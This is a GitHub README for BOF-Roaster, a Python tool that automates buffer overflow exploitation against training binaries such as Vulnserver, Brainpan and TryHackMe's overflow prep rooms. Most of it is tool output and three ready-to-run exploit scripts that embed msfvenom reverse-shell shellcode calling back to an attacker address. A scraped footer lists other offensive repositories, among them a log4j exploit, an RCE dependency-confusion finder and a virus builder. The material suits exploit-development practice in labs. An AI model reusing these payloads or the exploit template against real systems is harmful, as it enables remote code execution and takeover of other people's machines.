BOF-Roaster is an automated buffer overflow exploit machine which is begin written with Python 3.

Overview

BOF-Roaster

BOF-Roaster is an automated buffer overflow exploit machine which is begin written with Python 3. On first release it was able to successfully break many of the most well-known buffer overflow example executables. Which are

1-Brainpan

2-Vulnserver

3-Dostackbufferoverflowgood

4-bufferoverflowprep from TryHackMe

Still in progress.

Installation

To use this project first you have to install 32 bit radare2 binary in your windows computer. From here, and add it to path variables. You can follow these steps. And you have to install r2pipe library.

pip install r2pipe

TODO

Calculating offset between EIP and ESP register is missing, for the moment we have to give it from command line.

Finding proper jmp esp address is not ok currently.

Usage

 python .\main.py --ip 127.0.0.1 --port <RUNNING-PORT> --vuln_exe <PATH OF EXECUTABLE>  
   --fuzz_counter <FUZZING INCREASE COUNTER> --prefix <PREFIX BEFORE SHELLCODE> --output <OUTPUT OF POC EXPLOIT>

For example:

 python .\main.py --ip 127.0.0.1 --port 1337 --vuln_exe .\example_exes\oscp.exe 
    --vuln_dll .\example_exes\essfunc.dll  --fuzz_counter 300 --prefix "OVERFLOW3 " --output overflow3_poc.py

In this case executable is oscp.exe executable also need for dll, essfunc.dll is dll of that exe. fuzz_counter is 300 so it will fuzz with "A" increasing count by 300. Prefix is "OVERFLOW3 " so it means executable is vulnerable if we write OVERFLOW3 in the first place. overflow3_poc.py is the name of the file for our poc executable.

Examples

Different vulnerable executables used for example.

1 - Vulnserver

Executable program link is here.

Run program like this:

python .\main.py --ip 192.168.1.21 --port 9999 --vuln_exe example_exes\vulnserver\vulnserver.exe 
 --vuln_dll example_exes\vulnserver\essfunc.dll --prefix 'TRUN /.:/' --fuzz_counter 700

and output is:

Fuzzing with 700 bytes
Fuzzing with 1400 bytes
Fuzzing with 2100 bytes
Fuzzing crashed at 2100 bytes
[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  2003 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00
[ * ] Found proper 'jmp esp' address to use. Address:  \xaf\x11\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00'
Linux:         msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00'

      
     
    
   

So at the end we were able to find offset 2003, badchars \x00 only in this case. Proper jmp esp address which is \xaf\x11\x50\x62 and our POC exploit file is written under exploit_poc.py file. We just have to change buf variable with our shellcode. And we can create shellcode with given msfvenom command. Output of that msfvenom command is:

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.9.3.61 LPORT=8080 -f py -b '\x00' 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1712 bytes
buf =  b""
buf += b"\xba\x60\x42\xe1\xcb\xda\xc6\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x52\x31\x57\x12\x83\xc7\x04\x03\x37\x4c\x03"
buf += b"\x3e\x4b\xb8\x41\xc1\xb3\x39\x26\x4b\x56\x08\x66\x2f"
buf += b"\x13\x3b\x56\x3b\x71\xb0\x1d\x69\x61\x43\x53\xa6\x86"
buf += b"\xe4\xde\x90\xa9\xf5\x73\xe0\xa8\x75\x8e\x35\x0a\x47"
buf += b"\x41\x48\x4b\x80\xbc\xa1\x19\x59\xca\x14\x8d\xee\x86"
buf += b"\xa4\x26\xbc\x07\xad\xdb\x75\x29\x9c\x4a\x0d\x70\x3e"
buf += b"\x6d\xc2\x08\x77\x75\x07\x34\xc1\x0e\xf3\xc2\xd0\xc6"
buf += b"\xcd\x2b\x7e\x27\xe2\xd9\x7e\x60\xc5\x01\xf5\x98\x35"
buf += b"\xbf\x0e\x5f\x47\x1b\x9a\x7b\xef\xe8\x3c\xa7\x11\x3c"
buf += b"\xda\x2c\x1d\x89\xa8\x6a\x02\x0c\x7c\x01\x3e\x85\x83"
buf += b"\xc5\xb6\xdd\xa7\xc1\x93\x86\xc6\x50\x7e\x68\xf6\x82"
buf += b"\x21\xd5\x52\xc9\xcc\x02\xef\x90\x98\xe7\xc2\x2a\x59"
buf += b"\x60\x54\x59\x6b\x2f\xce\xf5\xc7\xb8\xc8\x02\x27\x93"
buf += b"\xad\x9c\xd6\x1c\xce\xb5\x1c\x48\x9e\xad\xb5\xf1\x75"
buf += b"\x2d\x39\x24\xd9\x7d\x95\x97\x9a\x2d\x55\x48\x73\x27"
buf += b"\x5a\xb7\x63\x48\xb0\xd0\x0e\xb3\x53\xd5\xc7\xb8\x9e"
buf += b"\x81\xd5\xbe\xff\xc1\x53\x58\x95\xf1\x35\xf3\x02\x6b"
buf += b"\x1c\x8f\xb3\x74\x8a\xea\xf4\xff\x39\x0b\xba\xf7\x34"
buf += b"\x1f\x2b\xf8\x02\x7d\xfa\x07\xb9\xe9\x60\x95\x26\xe9"
buf += b"\xef\x86\xf0\xbe\xb8\x79\x09\x2a\x55\x23\xa3\x48\xa4"
buf += b"\xb5\x8c\xc8\x73\x06\x12\xd1\xf6\x32\x30\xc1\xce\xbb"
buf += b"\x7c\xb5\x9e\xed\x2a\x63\x59\x44\x9d\xdd\x33\x3b\x77"
buf += b"\x89\xc2\x77\x48\xcf\xca\x5d\x3e\x2f\x7a\x08\x07\x50"
buf += b"\xb3\xdc\x8f\x29\xa9\x7c\x6f\xe0\x69\x8c\x3a\xa8\xd8"
buf += b"\x05\xe3\x39\x59\x48\x14\x94\x9e\x75\x97\x1c\x5f\x82"
buf += b"\x87\x55\x5a\xce\x0f\x86\x16\x5f\xfa\xa8\x85\x60\x2f"

So we can basically copy that buf variable and paste that in our code. And we are done. At the end our script will be:

import socket
prefix = 'TRUN /.:/'
filler = 2003 * "A" 
eip = '\xaf\x11\x50\x62'
offset = 10 * "�"
buf =  b""
buf += b"\xba\x60\x42\xe1\xcb\xda\xc6\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x52\x31\x57\x12\x83\xc7\x04\x03\x37\x4c\x03"
buf += b"\x3e\x4b\xb8\x41\xc1\xb3\x39\x26\x4b\x56\x08\x66\x2f"
buf += b"\x13\x3b\x56\x3b\x71\xb0\x1d\x69\x61\x43\x53\xa6\x86"
buf += b"\xe4\xde\x90\xa9\xf5\x73\xe0\xa8\x75\x8e\x35\x0a\x47"
buf += b"\x41\x48\x4b\x80\xbc\xa1\x19\x59\xca\x14\x8d\xee\x86"
buf += b"\xa4\x26\xbc\x07\xad\xdb\x75\x29\x9c\x4a\x0d\x70\x3e"
buf += b"\x6d\xc2\x08\x77\x75\x07\x34\xc1\x0e\xf3\xc2\xd0\xc6"
buf += b"\xcd\x2b\x7e\x27\xe2\xd9\x7e\x60\xc5\x01\xf5\x98\x35"
buf += b"\xbf\x0e\x5f\x47\x1b\x9a\x7b\xef\xe8\x3c\xa7\x11\x3c"
buf += b"\xda\x2c\x1d\x89\xa8\x6a\x02\x0c\x7c\x01\x3e\x85\x83"
buf += b"\xc5\xb6\xdd\xa7\xc1\x93\x86\xc6\x50\x7e\x68\xf6\x82"
buf += b"\x21\xd5\x52\xc9\xcc\x02\xef\x90\x98\xe7\xc2\x2a\x59"
buf += b"\x60\x54\x59\x6b\x2f\xce\xf5\xc7\xb8\xc8\x02\x27\x93"
buf += b"\xad\x9c\xd6\x1c\xce\xb5\x1c\x48\x9e\xad\xb5\xf1\x75"
buf += b"\x2d\x39\x24\xd9\x7d\x95\x97\x9a\x2d\x55\x48\x73\x27"
buf += b"\x5a\xb7\x63\x48\xb0\xd0\x0e\xb3\x53\xd5\xc7\xb8\x9e"
buf += b"\x81\xd5\xbe\xff\xc1\x53\x58\x95\xf1\x35\xf3\x02\x6b"
buf += b"\x1c\x8f\xb3\x74\x8a\xea\xf4\xff\x39\x0b\xba\xf7\x34"
buf += b"\x1f\x2b\xf8\x02\x7d\xfa\x07\xb9\xe9\x60\x95\x26\xe9"
buf += b"\xef\x86\xf0\xbe\xb8\x79\x09\x2a\x55\x23\xa3\x48\xa4"
buf += b"\xb5\x8c\xc8\x73\x06\x12\xd1\xf6\x32\x30\xc1\xce\xbb"
buf += b"\x7c\xb5\x9e\xed\x2a\x63\x59\x44\x9d\xdd\x33\x3b\x77"
buf += b"\x89\xc2\x77\x48\xcf\xca\x5d\x3e\x2f\x7a\x08\x07\x50"
buf += b"\xb3\xdc\x8f\x29\xa9\x7c\x6f\xe0\x69\x8c\x3a\xa8\xd8"
buf += b"\x05\xe3\x39\x59\x48\x14\x94\x9e\x75\x97\x1c\x5f\x82"
buf += b"\x87\x55\x5a\xce\x0f\x86\x16\x5f\xfa\xa8\x85\x60\x2f"
endfix = ''
ip = '10.10.132.141'
port = 9999
buffer = bytes(prefix, "latin-1") + bytes(filler, "latin-1") + bytes(eip, "latin-1") +  bytes(offset, "latin-1") + buf + bytes(endfix, "latin-1")
timeout = 5
try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(buffer)
        s.recv(1024)
except:
    pass

2 - Dostackbufferoverflowgood

Executable & walktrough repository is here.

Run program like this:

 python .\main.py --ip 127.0.0.1 --port 31337 --vuln_exe example_exes\dostackbufferoverflowgood\dostackbufferoverflowgood.exe  --fuzz_counter 100

and output is:

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing crashed at 200 bytes
[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  146 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\x0a
[ * ] Found proper 'jmp esp' address to use. Address:  \xc3\x14\x04\x08
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\x0a'
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\x0a'

      
     
    
   

So at the end we were able to find offset 146, badchars \x00\x0a in this case. Proper jmp esp address which is \xc3\x14\x04\x08 and our POC exploit file is written under exploit_poc.py file. We just have to change buf variable with our shellcode. And we can create shellcode with given msfvenom command. After copy pasting msfvenom output our exploit will be ready. Latest script is like:

import socket
prefix = ''
filler = 146 * "A" 
eip = '\xc3\x14\x04\x08'
offset = 10 * "�"
buf =  b""
buf += b"\xda\xd1\xba\xb3\x84\xbf\x84\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x52\x83\xc6\x04\x31\x56\x13\x03\xe5\x97\x5d"
buf += b"\x71\xf5\x70\x23\x7a\x05\x81\x44\xf2\xe0\xb0\x44\x60"
buf += b"\x61\xe2\x74\xe2\x27\x0f\xfe\xa6\xd3\x84\x72\x6f\xd4"
buf += b"\x2d\x38\x49\xdb\xae\x11\xa9\x7a\x2d\x68\xfe\x5c\x0c"
buf += b"\xa3\xf3\x9d\x49\xde\xfe\xcf\x02\x94\xad\xff\x27\xe0"
buf += b"\x6d\x74\x7b\xe4\xf5\x69\xcc\x07\xd7\x3c\x46\x5e\xf7"
buf += b"\xbf\x8b\xea\xbe\xa7\xc8\xd7\x09\x5c\x3a\xa3\x8b\xb4"
buf += b"\x72\x4c\x27\xf9\xba\xbf\x39\x3e\x7c\x20\x4c\x36\x7e"
buf += b"\xdd\x57\x8d\xfc\x39\xdd\x15\xa6\xca\x45\xf1\x56\x1e"
buf += b"\x13\x72\x54\xeb\x57\xdc\x79\xea\xb4\x57\x85\x67\x3b"
buf += b"\xb7\x0f\x33\x18\x13\x4b\xe7\x01\x02\x31\x46\x3d\x54"
buf += b"\x9a\x37\x9b\x1f\x37\x23\x96\x42\x50\x80\x9b\x7c\xa0"
buf += b"\x8e\xac\x0f\x92\x11\x07\x87\x9e\xda\x81\x50\xe0\xf0"
buf += b"\x76\xce\x1f\xfb\x86\xc7\xdb\xaf\xd6\x7f\xcd\xcf\xbc"
buf += b"\x7f\xf2\x05\x12\x2f\x5c\xf6\xd3\x9f\x1c\xa6\xbb\xf5"
buf += b"\x92\x99\xdc\xf6\x78\xb2\x77\x0d\xeb\xb7\x8e\x0e\xd6"
buf += b"\xaf\x92\x10\x29\x8b\x1a\xf6\x43\xfb\x4a\xa1\xfb\x62"
buf += b"\xd7\x39\x9d\x6b\xcd\x44\x9d\xe0\xe2\xb9\x50\x01\x8e"
buf += b"\xa9\x05\xe1\xc5\x93\x80\xfe\xf3\xbb\x4f\x6c\x98\x3b"
buf += b"\x19\x8d\x37\x6c\x4e\x63\x4e\xf8\x62\xda\xf8\x1e\x7f"
buf += b"\xba\xc3\x9a\xa4\x7f\xcd\x23\x28\x3b\xe9\x33\xf4\xc4"
buf += b"\xb5\x67\xa8\x92\x63\xd1\x0e\x4d\xc2\x8b\xd8\x22\x8c"
buf += b"\x5b\x9c\x08\x0f\x1d\xa1\x44\xf9\xc1\x10\x31\xbc\xfe"
buf += b"\x9d\xd5\x48\x87\xc3\x45\xb6\x52\x40\x75\xfd\xfe\xe1"
buf += b"\x1e\x58\x6b\xb0\x42\x5b\x46\xf7\x7a\xd8\x62\x88\x78"
buf += b"\xc0\x07\x8d\xc5\x46\xf4\xff\x56\x23\xfa\xac\x57\x66"
endfix = '\r\n'
ip = '10.10.150.201'
port = 31337
buffer =  bytes(filler, "latin-1") + bytes(eip, "latin-1") +  bytes(offset, "latin-1") + buf + bytes(endfix, "latin-1")
timeout = 5
try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((ip, port))
        s.send(buffer)
        s.recv(1024)
except:
    pass

3 - Brainpan 1

Link for brainpan1 exe and whole machine is here.

Run program like this:

 python .\main.py --ip 127.0.0.1 --port 9999 --vuln_exe example_exes\brainpan.exe  --fuzz_counter 100

and output is:

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing crashed at 700 bytes
[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  524 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00
[ * ] Found proper 'jmp esp' address to use. Address:  \xf3\x12\x17\x31
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it. 
[ * ] You can generate shellcode with using this command with proper IP and PORT. 
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00'
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00'   

      
     
    
   

So at the end we were able to find offset 524, badchars \x00 in this case. Proper jmp esp address which is \xf3\x12\x17\x31 and our POC exploit file is written under exploit_poc.py file. We just have to change buf variable with our shellcode. And we can create shellcode with given msfvenom command. After copy pasting msfvenom output our exploit will be ready. Latest script is like:

import socket
prefix = ''
filler = 524 * "A"
eip = '\xf3\x12\x17\x31'
offset = 10 * "�"
buf =  b""
buf += b"\xdb\xdc\xbf\x8e\x25\xac\x67\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x12\x31\x7a\x17\x03\x7a\x17\x83\x4c\x21\x4e"
buf += b"\x92\x61\xf1\x79\xbe\xd2\x46\xd5\x2b\xd6\xc1\x38\x1b"
buf += b"\xb0\x1c\x3a\xcf\x65\x2f\x04\x3d\x15\x06\x02\x44\x7d"
buf += b"\x59\x5c\xb7\x69\x31\x9f\xb8\x90\x7a\x16\x59\x22\x1a"
buf += b"\x79\xcb\x11\x50\x7a\x62\x74\x5b\xfd\x26\x1e\x0a\xd1"
buf += b"\xb5\xb6\xba\x02\x15\x24\x52\xd4\x8a\xfa\xf7\x6f\xad"
buf += b"\x4a\xfc\xa2\xae"
endfix = "\r\n"
ip = '192.168.1.26'
port = 9999
buffer = bytes(prefix, "latin-1") + bytes(filler, "latin-1") + bytes(eip, "latin-1") +  bytes(offset, "latin-1") + buf + bytes(endfix, "latin-1")
timeout = 5
try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((ip, port))
        s.send(buffer)
        s.recv(1024)
except:
    pass    

4 - TryHackMe Bufferoverflow Prep

https://tryhackme.com/room/bufferoverflowprep

https://medium.com/swlh/tryhackme-buffer-overflow-prep-9b2ece17a13c

Overflow1

[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  1978 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\x07\x2e\xa0
[ * ] Found proper 'jmp esp' address to use. Address:  \xaf\x11\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\x07\x2e\xa0'  
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\x07\x2e\xa0'

      
     
    
   

Overflow2

For overflow2 as i see also with immunity debugger and with radare2 overwritten EIP is broken.

This is from radare2

(5324) Fatal Exception C0000005 (EXCEPTION_ACCESS_VIOLATION) in thread 23708
Hint: Use 'dce' continue into exception handler
[0x76413177]> dr
edi = 0x00401973
esi = 0x00401974
ebx = 0x39754138
edx = 0x00000000
ecx = 0x00805c2c
eax = 0x02cff755
ebp = 0x41307641
eip = 0x76413177
eflags = 0x00010246
esp = 0x02cffa18
[0x76413177]>

And it shows that eip is 76413177 but it should be 76413176

┌──(kaancaglan㉿kaancaglan)-[~]
└─$ msf-pattern_offset -l 1000 -q 76413177
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 634 (adjusted [ little-endian: 1 | big-endian: 1044481 ] ) byte offset 0
[+] Possible match at offset 664 (adjusted [ little-endian: -16777216 | big-endian: -15732736 ] ) byte offset 3
                                                                                                                                                                                                                                              
┌──(kaancaglan㉿kaancaglan)-[~]
└─$ msf-pattern_offset -l 1000 -q 76413176                                                                                                                                                                                                1 ⨯
[*] Exact match at offset 634

I don't know this one. Its on my TODO list for now.

Overflow3

[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  1274 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\x11\x40\x5f\xb8\xee
[ - ] ESP:  0x625011af  failed.
[ - ] ESP:  0x625011bb  failed.
[ - ] ESP:  0x625011c7  failed.
[ - ] ESP:  0x625011d3  failed.
[ - ] ESP:  0x625011df  failed.
[ - ] ESP:  0x625011eb  failed.
[ - ] ESP:  0x625011f7  failed.
[ * ] Found proper 'jmp esp' address to use. Address:  \x03\x12\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\x11\x40\x5f\xb8\xee' 
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\x11\x40\x5f\xb8\xee' 

      
     
    
   

Overflow4

[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  2026 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\xa9\xcd\xd4
[ * ] Found proper 'jmp esp' address to use. Address:  \xaf\x11\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\xa9\xcd\xd4'
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\xa9\xcd\xd4'

      
     
    
   

Overflow5

[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  314 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\x16\x2f\xf4\xfd
[ * ] Found proper 'jmp esp' address to use. Address:  \xaf\x11\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\x16\x2f\xf4\xfd'
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\x16\x2f\xf4\xfd'

      
     
    
   

Overflow6

[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  1034 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\x08\x2c\xad
[ * ] Found proper 'jmp esp' address to use. Address:  \xaf\x11\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\x08\x2c\xad'  
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\x08\x2c\xad

      
     
    
   

Overflow7

[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  1306 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\x8c\xae\xbe\xfb
[ * ] Found proper 'jmp esp' address to use. Address:  \xaf\x11\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\x8c\xae\xbe\xfb'
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\x8c\xae\xbe\xfb'

      
     
    
   

Overflow8

[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  1786 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\x1d\x2e\xc7\xee
[ * ] Found proper 'jmp esp' address to use. Address:  \xaf\x11\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\x1d\x2e\xc7\xee'  
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\x1d\x2e\xc7\xee'

      
     
    
   

Overflow9

[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  1514 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\x04\x3e\x3f\xe1
[ * ] Found proper 'jmp esp' address to use. Address:  \xaf\x11\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\x04\x3e\x3f\xe1'
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\x04\x3e\x3f\xe1

      
     
    
   

Overflow10

[ * ] Program crashed with initial buffer. EIP register is overwritten with:  0x41414141
[ * ] Offset is:  537 . EIP Register is successfuly overwritten with:  0x42424242
... Founding bad chars!
[ * ] All badchars are found!:   \x00\xa0\xad\xbe\xde\xef
[ * ] Found proper 'jmp esp' address to use. Address:  \xaf\x11\x50\x62
[ * ] Exploit POC file written in 'exploit_poc.py' file. Change shellcode - buff and use it.
[ * ] You can generate shellcode with using this command with proper IP and PORT.
Windows:        msfvenom -p windows/shell_reverse_tcp LHOST=
   
     LPORT=
    
      -f py -b '\x00\xa0\xad\xbe\xde\xef'        
Linux:          msfvenom -p linux/x86/shell_reverse_tcp LHOST=
     
       LPORT=
      
        -f py -b '\x00\xa0\xad\xbe\xde\xef'

      
     
    
   
Owner
Kaan Caglan
Some random stuffs
Kaan Caglan
DepFine Is a tool to find the unregistered dependency based on dependency confusion valunerablility and lead to RCE

DepFine DepFine Is a tool to find the unregistered dependency based on dependency confusion valunerablility and lead to RCE Installation: You Can inst

Hossam mesbah 14 Nov 11, 2022
Discord-email-spammer-exploit - A discord email spammer exploit with python

Discord-email-spammer-exploit was made by Love ❌ code ✅ 🎈 ・Description First it

Rdimo 25 Aug 13, 2022
Obfuscated Gradients Give a False Sense of Security: Circumventing Defenses to Adversarial Examples

Obfuscated Gradients Give a False Sense of Security: Circumventing Defenses to Adversarial Examples Above is an adversarial example: the slightly pert

Anish Athalye 838 Dec 18, 2022
🐎🖥《赛马娘》(ウマ娘: Pretty Derby)辅助脚本

auto-derby 自动化养马 育成结果 Nurturing result 功能 支持客户端 DMM (前台) 实验性 安卓 ADB 连接(后台)开发基于 1080x1920 分辨率 团队赛 (Team race) 有胜利确定奖励时吃帕菲 日常赛 (Daily race) PvP 活动赛 (Cha

NateScarlet 376 Jan 01, 2023
Notebooks, slides and dataset of the CorrelAid Machine Learning Winter School

CorrelAid Machine Learning Spring School Welcome to the CorrelAid ML Spring School! In this repository you can find the slides and other files for the

CorrelAid 12 Nov 23, 2022
Generate your own NFTs and their metadata based on your desired probabilities.

Generate your own NFTs and their metadata based on your desired probabilities. Use your own art assets too! Perfect for use with Candy Machine.

hex 7 Sep 16, 2022
SQLi Google Dork Scanner (new version)

XGDork² - ViraX Google Dork Scanner SQLi Google Dork Scanner by ViraX @ 2021 for Python 2.7 - compatible Android(NoRoot) - Termux A simple 'naive' pyt

8 Dec 20, 2022
A Python r2pipe script to automatically create a Frida hook to intercept TLS traffic for Flutter based apps

boring-flutter A Python r2pipe script to automatically create a Frida hook to intercept TLS traffic for Flutter based apps. Currently only supporting

Hamza 64 Oct 18, 2022
A simple automatic tool for finding vulnerable log4j hosts

Log4Scan A simple automatic tool for finding vulnerable log4j hosts Installation pip3 install -r requirements.txt Usage usage: log4scan.py [-h] (-f FI

Federico Rapetti 20018955 6 Mar 10, 2022
This repo is about steps to create a effective custom wordlist in a few clicks/

Custom Wordlist This repo is about steps to take in order to create a effective custom wordlist in a few clicks. this comes handing in pentesting enga

2 Oct 08, 2022
Virus-Builder - This tool will generate a virus that can only destroy Windows computer

Virus-Builder - This tool will generate a virus that can only destroy Windows computer. You can also configure to auto run in usb drive

Saad 16 Dec 30, 2022
Exploit tool for Adminer 1.0 up to 4.6.2 Arbitrary File Read vulnerability

AdminerRead Exploit tool for Adminer 1.0 up to 4.6.2 Arbitrary File Read vulnerability Installation git clone https://github.com/p0dalirius/AdminerRea

Podalirius 58 Dec 05, 2022
Log4j minecraft with python

Apache-Log4j Apache Log4j 远程代码执行 攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响 Steps 【Import

manmade 57 Oct 03, 2022
Get related domains / subdomains by looking at Google Analytics IDs

DomainRelationShips ██╗ ██╗ █████╗ ██╗██████╗ ██║ ██║██╔══██╗ ██║██╔══██╗ ██║ ██║█████

Josué Encinar 161 Jan 02, 2023
Template for new OSINT command-line tools

OSINT cli tool skeleton Template for new OSINT command-line tools. Press button "Use this template" to generate your own tool repository. See INSTALL.

36 Dec 20, 2022
wsvuls - website vulnerability scanner detect issues [ outdated server software and insecure HTTP headers.]

WSVuls Website vulnerability scanner detect issues [ outdated server software and insecure HTTP headers.] What's WSVuls? WSVuls is a simple and powerf

Anouar Ben Saad 47 Sep 22, 2022
A piece of software that shows a traceroute of a URL redirect path

Tracing URL redirects has never been easier! Usage • Download 🚩 Use Cases To see where an affiliate link ends up To see what affiliate network is bei

41 Nov 22, 2022
A simple python-function, to gain all wlan passwords from stored wlan-profiles on a computer.

Wlan Fetcher Windows10 Description A simple python-function, to gain all wlan passwords from stored wlan-profiles on a computer. Usage This Script onl

2 Nov 20, 2021
Python exploit code for CVE-2021-4034 (pwnkit)

Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works

Joe Ammond 92 Dec 29, 2022